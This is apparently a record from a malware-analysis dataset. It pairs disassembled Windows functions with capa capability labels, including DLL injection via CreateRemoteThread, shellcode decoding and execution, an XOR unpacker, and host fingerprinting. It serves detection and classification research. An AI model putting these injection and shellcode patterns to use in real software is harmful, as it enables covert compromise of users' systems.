joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push esi
push edi
push ecx
push 0
push 0x1fffff
mov esi, edx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x40101d
pop edi
xor al, al
pop esi
ret
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401022
push ebx
sub ecx, edx
push 4
push 0x1000
lea eax, [ecx + 1]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x4010db
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401050
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4010cc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4010cc
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4010cc
push 0
push 0
push ebx
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x4010cc
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop ebx
pop edi
mov al, 1
pop esi
ret
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
xor al, al
pop esi
ret
Function at 0x401ea0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401edf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401edf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401edf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401edf
cmp dword [ecx + 0x74], 0xe
jbe 0x401edf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x401140
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
call fcn.00401000
test eax, eax
je 0x4011ce
push esi
push edi
mov ecx, 0x5f
lea edi, [ebp - 0x184]
mov esi, 0x402010
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x3000
push 0x17e
push 0
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x4011c6
push ebx
xor ebx, ebx
call fcn.00401000
mov al, byte [ebp + ebx - 0x184]
mov cl, bl
and cl, 7
rol al, cl
mov byte [ebp + ebx - 0x184], al
inc ebx
cmp ebx, 0x17e
jl 0x401188
mov ecx, 0x5f
lea esi, [ebp - 0x184]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [ebp - 4]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x408fc0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x12c
mov eax, dword [0x447d10]
mov dword [esp + 0x128], eax
mov al, byte [0x449d54]
test al, al
jne 0x4090da
lea eax, [esp]
push eax
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
lea ecx, [esp + 4]
push ecx
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x409031
mov eax, dword [esp + 4]
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
mov edx, dword [esp + 4]
mov eax, dword [esp]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x14]
jmp 0x409043
lea eax, [esp + 0x24]
push 0x4398b8
push eax
call fcn.00416f3f
add esp, 8
mov eax, dword [esp]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [esp + 0x24]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409053
sub eax, edx
push eax
lea edx, [esp + 0x28]
push edx
lea ecx, [esp + 0x10]
call fcn.00403ef0
push 8
push str.KONAMI_
lea ecx, [esp + 0x10]
call fcn.00408870
push 0x16
push str.Pes_Pasion_Interior_24
lea ecx, [esp + 0x10]
call fcn.00408870
push 1
push 0x439890
lea ecx, [esp + 0x10]
call fcn.00408870
cmp dword [esp + 0x20], 0x10
mov eax, dword [esp + 0xc]
jae 0x4090aa
lea eax, [esp + 0xc]
push 0x410
push eax
push 0x449388
call fcn.004171a0
mov eax, dword [esp + 0x2c]
add esp, 0xc
cmp eax, 0x10
mov byte [0x449d54], 1
jb 0x4090da
mov eax, dword [esp + 0xc]
push eax
call fcn.0042cfc9
add esp, 4
mov ecx, dword [esp + 0x128]
mov eax, 0x449388
call fcn.004164ae
add esp, 0x12c
ret

Function at 0x40c553
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40c568
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40c57a
xor eax, eax
jmp 0x40c5ac
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40c59e
cmp esi, eax
jae 0x40c576
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x40c590
cmp esi, eax
jae 0x40c576
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop ebp
ret
Function at 0x4145d3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x414612
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x414612
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x414612
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x414612
cmp dword [ecx + 0x74], 0xe
jbe 0x414612
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4269d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4269fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4269fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x93a00cd
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..text_1
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x6da304aa
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10001201
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov esi, eax
test esi, esi
jne 0x1000123c
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x100013e8
Capabilities:
Check os version

Disassembly:
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1000a30c], eax
test eax, eax
je 0x10001457
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x10001414
mov ecx, eax
shr ecx, 8
test cl, cl
ja 0x10001416
cmp al, al
jbe 0x10001452
mov dword [0x1000a2fc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esp + 4]
push eax
push 0
push 0x10047a
mov dword [0x1000a2f8], eax
mov dword [0x1000a304], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x1000a2f4], eax
test eax, eax
jne 0x1000144e
or dword [0x1000a2f4], 0xffffffff
xor eax, eax
jmp 0x1000145d
push 0x32
pop eax
jmp 0x1000145d
call dword [sym.imp.KERNEL32.dll_GetLastError]
ret 4

Function at 0x1000151d
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x20
call fcn.10006a51
mov esi, eax
test esi, esi
je 0x100015f2
mov eax, dword [0x1000a348]
lea eax, [eax + 0x1000b11a]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [0x1000a348]
lea eax, [eax + 0x1000b761]
push eax
push ebx
mov dword [ebp - 4], 0x7f
call edi
mov dword [esi + 0xc], eax
test eax, eax
je 0x100015ea
mov eax, dword [0x1000a348]
lea eax, [eax + 0x1000b74e]
push eax
push ebx
call edi
mov dword [esi + 0x10], eax
test eax, eax
je 0x100015ea
mov eax, dword [0x1000a348]
lea eax, [eax + 0x1000b771]
push eax
push ebx
call edi
mov dword [esi + 0x14], eax
test eax, eax
je 0x100015ea
mov eax, dword [0x1000a348]
lea eax, [eax + 0x1000b4ca]
push eax
push ebx
call edi
mov dword [esi + 0x18], eax
test eax, eax
je 0x100015ea
mov eax, dword [0x1000a348]
lea eax, [eax + 0x1000b786]
push eax
push ebx
call edi
mov dword [esi + 0x1c], eax
test eax, eax
je 0x100015ea
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov dword [esi + 4], eax
mov eax, esi
mov dword [esi + 8], 0x40
call fcn.1000625a
mov dword [ebp - 4], eax
test eax, eax
jne 0x100015ea
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
jmp 0x100015f9
push esi
call fcn.1000692b
jmp 0x100015f9
mov dword [ebp - 4], 8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x100016dd
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100017aa
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100017aa
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 2]
mov dword [ebp - 8], eax
push edi
shl eax, 2
push eax
call fcn.10006a51
mov edi, eax
cmp edi, ebx
je 0x100017a9
mov eax, dword [ebp - 8]
push esi
lea esi, [edi + eax*2]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x100017a2
mov ecx, dword [ebp - 4]
push 0x40
pop eax
mov word [esi + ecx*2 - 2], ax
mov eax, dword [ebp - 4]
sub dword [ebp - 8], eax
lea ecx, [ebp - 8]
push ecx
lea eax, [esi + eax*2]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x100017a2
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
push ebx
push ebx
lea ecx, [eax + eax + 2]
push ecx
push edi
push eax
push esi
push ebx
push 0xfde9
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x100017a2
mov byte [edi + eax], bl
mov dword [ebp - 0xc], edi
jmp 0x100017a8
push edi
call fcn.1000692b
pop esi
pop edi
mov eax, dword [ebp - 0xc]
pop ebx
leave
ret

Function at 0x10001f8e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000a348]
and dword [ebp - 4], 0
push ebx
lea eax, [eax + 0x1000ba90]
push eax
mov dword [ebp - 0xc], 4
call fcn.10006add
mov ebx, eax
test ebx, ebx
je 0x10002020
mov eax, dword [0x1000a348]
push edi
lea eax, [eax + 0x1000baec]
push eax
call fcn.10006add
mov edi, eax
test edi, edi
je 0x10002019
lea eax, [ebp - 8]
push eax
push 0x20119
push 0
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10002013
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1000200a
and dword [ebp - 4], 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.1000692b
push ebx
call fcn.1000692b
pop edi
mov eax, dword [ebp - 4]
pop ebx
leave
ret
Function at 0x10002f78
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [edx + 0x3c]
add eax, edx
movzx ecx, word [eax + 0x14]
sub esp, 0x14
push esi
movzx esi, word [eax + 6]
push edi
xor edi, edi
lea eax, [ecx + eax + 0x18]
xor ecx, ecx
cmp dword [eax + 4], edi
jne 0x10002fa4
cmp dword [eax], 0x7373622e
jne 0x10002fa4
mov ecx, eax
add eax, 0x28
dec esi
je 0x10002fae
test ecx, ecx
je 0x10002f95
test ecx, ecx
je 0x10002fcc
mov eax, dword [ecx + 0xc]
test eax, eax
je 0x10002fc8
mov ecx, dword [ecx + 0x10]
test ecx, ecx
je 0x10002fc8
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
jmp 0x10002fcf
push 0xb
jmp 0x10002fce
push 2
pop edi
mov eax, edi
test edi, edi
jne 0x1000309b
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 4]
and esi, 0xfff
neg esi
sbb esi, esi
shr eax, 0xc
neg esi
add esi, eax
mov eax, dword [ebp - 0xc]
lea edi, [eax + edx]
mov eax, esi
push ebx
shl eax, 0xc
push eax
mov dword [ebp - 0x14], edi
call fcn.10006a51
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x10003097
push dword [ebp - 4]
push edi
push ebx
call sub.ntdll.dll_memcpy
and dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
add esp, 0xc
test esi, esi
jbe 0x10003071
mov eax, ebx
sub eax, edi
mov dword [ebp - 8], ebx
lea edi, [eax + ecx + 0x1000b7cb]
mov ebx, 0x1000
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
lea eax, [eax + ecx - 0x7e47c82d]
push 1
push eax
mov eax, ebx
call fcn.10007926
mov ecx, dword [edi + 0xc]
sub ecx, dword [edi + 8]
add dword [ebp - 8], ebx
add ecx, dword [edi + 4]
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jb 0x1000303d
mov ebx, dword [ebp - 0x10]
lea eax, [ecx - 0x69b25f44]
test eax, eax
jne 0x1000308c
sub ebx, dword [ebp - 0x14]
mov dword [0x1000a344], ecx
mov dword [0x1000a348], ebx
jmp 0x1000309a
push ebx
call fcn.1000692b
xor eax, eax
inc eax
jmp 0x1000309a
push 8
pop eax
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x100031ab
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
je 0x1000320f
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32First
jmp 0x100031ff
mov eax, dword [0x1000a348]
lea eax, [eax + 0x1000bea8]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10003205
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100031d5
jmp 0x10003208
xor edi, edi
inc edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x1000466d
Capabilities:
Read data from internet
Receive data

Disassembly:
push esi
mov esi, eax
cmp dword [esi + 0xc], 0
jne 0x1000467f
call fcn.100059b3
test eax, eax
jne 0x10004687
mov eax, esi
pop esi
jmp fcn.10006b98
pop esi
ret
Function at 0x100054a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
cmp dword [ebp + 8], ebx
je 0x100054cf
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100073b7
mov esi, eax
cmp esi, ebx
je 0x10005556
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
cmp esi, ebx
jne 0x10005556
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp + 8]
push eax
push ebx
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call esi
cmp dword [ebp + 8], ebx
je 0x10005548
push dword [ebp + 8]
call fcn.10006a51
mov edi, eax
cmp edi, ebx
je 0x10005543
lea eax, [ebp + 8]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call esi
mov esi, eax
cmp esi, ebx
jne 0x1000553b
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
mov eax, dword [ebp + 0x1c]
cmp eax, ebx
je 0x1000554d
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
jmp 0x1000554d
push edi
call fcn.1000692b
jmp 0x1000554d
push 8
pop esi
jmp 0x1000554d
mov esi, 0xe8
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
pop ebp
ret 0x18
Function at 0x10005710
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push edi
mov edi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], edi
cmp edi, ebx
jne 0x1000572e
mov eax, dword [0x1000a310]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
mov edx, esi
call fcn.10005208
cmp edi, ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
jne 0x10005794
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100057a3
add eax, eax
push eax
push ebx
push dword [0x1000a2d8]
call edi
mov ebx, eax
test ebx, ebx
je 0x100057a3
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x10005783
mov eax, dword [ebp - 4]
add eax, eax
mov edx, ebx
call fcn.10005e1e
xor dword [esi], eax
push ebx
push 0
push dword [0x1000a2d8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x100057a3
mov eax, dword [esi]
xor eax, dword [0x1000a344]
xor eax, 0x46d76429
mov dword [esi], eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
call ebx
mov eax, dword [ebp - 4]
test eax, eax
je 0x100057f8
add eax, eax
push eax
push 0
push dword [0x1000a2d8]
call edi
mov edi, eax
test edi, edi
je 0x100057f8
lea eax, [ebp - 4]
push eax
push edi
call ebx
test eax, eax
je 0x100057e9
mov eax, dword [ebp - 4]
add eax, eax
mov edx, edi
call fcn.10005e1e
xor dword [esi + 0xc], eax
push edi
push 0
push dword [0x1000a2d8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
inc eax
xor ecx, ecx
cpuid
lea edi, [ebp - 0x18]
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x10]
pop edi
xor eax, dword [ebp - 0x18]
pop ebx
xor dword [esi + 4], eax
leave
ret

Function at 0x10005e1e
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, eax
test edx, edx
je 0x10005e63
or eax, 0xffffffff
test esi, esi
je 0x10005e5f
push edi
mov cl, byte [edx]
movzx edi, al
movzx ecx, cl
xor edi, ecx
and edi, 0xf
shr eax, 4
xor eax, dword [edi*4 + 0x10009238]
shr ecx, 4
mov edi, eax
and edi, 0xf
xor ecx, edi
shr eax, 4
xor eax, dword [ecx*4 + 0x10009238]
dec esi
inc edx
test esi, esi
jne 0x10005e2d
pop edi
not eax
jmp 0x10005e65
xor eax, eax
not eax
pop esi
ret
Function at 0x10005f7c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push ebx
push dword [ebp + 8]
call fcn.10004bc4
mov esi, eax
test esi, esi
je 0x10005ffa
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call sub.ntdll.dll_memset
mov eax, dword [0x1000a348]
xor esi, esi
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
cmp dword [ebp + 0x10], esi
je 0x10005fc2
lea eax, [eax + 0x1000b904]
jmp 0x10005fc8
lea eax, [eax + 0x1000b4e0]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], edi
call fcn.10001897
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x10005ff3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 1
call fcn.10001897
mov eax, esi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10006308
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x28
push 0x10009288
call fcn.10008220
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], edx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov esi, 0x14c
cmp word [eax + 4], si
jne 0x10006334
add eax, 0x78
jmp 0x10006339
add eax, 0x88
mov esi, dword [eax]
add esi, ecx
cmp dword [eax], edx
je 0x10006427
cmp dword [eax + 4], edx
je 0x10006427
cmp dword [esi + 0x1c], edx
je 0x10006427
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x28], eax
cmp eax, edx
je 0x10006427
mov eax, dword [esi + 0x1c]
add eax, ecx
mov dword [ebp - 0x30], eax
cmp dword [esi + 0x24], edx
je 0x10006417
mov edi, dword [esi + 0x24]
add edi, ecx
mov dword [ebp - 0x38], edi
mov ebx, dword [esi + 0x20]
add ebx, ecx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jae 0x10006427
and dword [ebp - 0x1c], 0
xor eax, eax
inc eax
je 0x100063a8
movzx ecx, word [edi]
add ecx, dword [esi + 0x10]
cmp eax, ecx
jmp 0x100063d9
mov eax, dword [ebx]
add eax, ecx
mov dword [ebp - 0x2c], eax
xor ecx, ecx
inc ecx
je 0x100063c6
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100063e2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jmp 0x100063d9
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x2c]
call fcn.10005e1e
xor ecx, ecx
cmp ecx, eax
jne 0x100063e2
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0
je 0x10006401
movzx eax, word [edi]
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x20], eax
xor eax, eax
je 0x10006427
mov ecx, dword [ebx]
add ecx, dword [ebp + 8]
mov dword [eax], ecx
jmp 0x10006427
add ebx, 4
mov dword [ebp - 0x34], ebx
inc edi
inc edi
mov dword [ebp - 0x38], edi
inc dword [ebp - 0x24]
mov ecx, dword [ebp + 8]
jmp 0x10006389
mov dword [ebp - 0x20], eax
jmp 0x10006427
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
call fcn.1000825b
ret 4
Function at 0x10006940
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
xor edi, edi
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push edi
push edi
push SysStringLen
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
cmp esi, edi
jne 0x10006a49
push ebx
push 8
pop esi
mov ebx, 0x104
push ebx
call fcn.10006a51
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x10006a3f
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x10]
push edi
push edi
push edi
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], ebx
push dword [ebp - 4]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov esi, eax
cmp esi, 0xea
jne 0x100069f1
cmp dword [ebp - 8], ebx
jbe 0x100069c9
inc dword [ebp - 4]
xor esi, esi
jmp 0x10006a13
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
jbe 0x10006a37
push dword [ebp - 0x14]
call fcn.1000692b
mov eax, dword [ebp - 0xc]
push eax
mov dword [ebp - 0x10], eax
call fcn.10006a51
mov dword [ebp - 0x14], eax
cmp eax, edi
jne 0x100069c5
push 8
pop esi
jmp 0x10006a37
cmp esi, edi
jne 0x10006a2d
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.1000202c
mov esi, eax
cmp esi, edi
jne 0x10006a2d
push edi
push dword [0x1000a30c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10006993
jmp 0x10006a37
cmp esi, 0x103
jne 0x10006a37
xor esi, esi
push dword [ebp - 0x18]
call fcn.1000692b
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret 4

Function at 0x1000719e
Capabilities:
Hash data with md5

Disassembly:
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret